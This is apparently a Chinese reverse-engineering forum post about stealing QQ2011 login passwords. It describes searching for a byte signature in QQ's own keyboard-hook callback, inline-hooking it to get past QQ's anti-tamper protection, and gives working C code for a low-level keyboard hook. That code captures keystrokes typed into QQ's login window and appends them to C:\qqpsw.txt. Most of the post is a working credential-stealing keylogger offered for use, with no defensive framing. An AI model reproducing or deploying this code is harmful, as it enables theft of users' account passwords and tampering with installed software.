首先感谢hackerlzc给我们带来了这么好的一篇文章:
【原创】QQ2011低级键盘钩子分析----ring3截获QQ密码
http://bbs.pediy.com/showthread.php?t=133943

=====================================================
此文需要干掉QQ的WH_DEBUG的钩子,并且自己安装一个WH_KEYBOARD_LL钩子。

其中提到了,QQ为了保护代码不被修改,会有一个备份代码,进行不停的恢复。

于是我们能不能换一个办法,既然WH_DEBUG有备份,那么QQ的键盘钩子回调函数很可能也是这样进行保护的。

于是搜索特征码:

代码:
003CF513    B9 07000000     MOV ECX,7
003CF518    33C0            XOR EAX,EAX
003CF51A    FC              CLD
搜两次哦,进行inline hook,先修改高地址,再修改低地址。

诶,这样就成了

附上我的回调函数内部处理代码:
代码:
FILE *fp;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
  if( p->flags != 0x10 && p->flags != 0x90 )
  {
    /*
    if (wParam == WM_KEYDOWN)
    {
      
      DWORD dwMsg = 1;
      dwMsg += p->scanCode << 16;
      dwMsg += p->flags << 24; 
      wchar_t KeyText[20] = {0};
      GetKeyNameText(p->scanCode<<16, KeyText, 20);
      DbgPrint(L"%s %d",KeyText,p->time);
    }
    
    if((p->flags & LLKHF_UP) == 0 )
    {
      WORD ch;
      BYTE  keystate[ 256 ] = {0};
      
      GetKeyboardState( keystate );
      
      ToAscii( p->vkCode,p->scanCode,keystate,&ch,0 );
      DbgPrint(L"%c\n",ch);
    }
    */
    HWND hwnd = GetForegroundWindow();
    TCHAR buff[256];
    GetClassName(hwnd, buff, 255);
    
    DWORD ProcId;
    GetWindowThreadProcessId(hwnd, &ProcId) ;
    
    if (wcscmp(buff, L"TXGuiFoundation") == 0 && GetCurrentProcessId() == ProcId && wParam == WM_KEYDOWN)
    {
      BYTE KeyboardState[256];
      ZeroMemory(KeyboardState, sizeof(KeyboardState));
      GetKeyboardState(KeyboardState);

      KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT));
      KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL);
      WORD wChar = 0;

      ToAscii(p->vkCode, p->scanCode, KeyboardState, &wChar, 0);
      
      fp = _wfopen(L"C:\\qqpsw.txt",L"a+");
      
      if ( iswprint(wChar))
      {
        //DbgPrint(L"%c :",wChar);
        
        fwprintf(fp, L"%c",wChar );
      }
      
      else
        {
        wchar_t KeyText[20] = {0};
        ZeroMemory(KeyText, sizeof(KeyText));

        LONG Flags = 0;
        Flags = p->scanCode << 16;
        Flags |= p->flags << 24;
        
        if (GetKeyNameText(Flags, KeyText, 20) > 0)
        {
          //DbgPrint(L":%s",KeyText);
          fwprintf(fp, L"\n%s\t",KeyText );
        }
      }
      fclose(fp);
    }
    
  }
  return qqhook(nCode, wParam, lParam );
}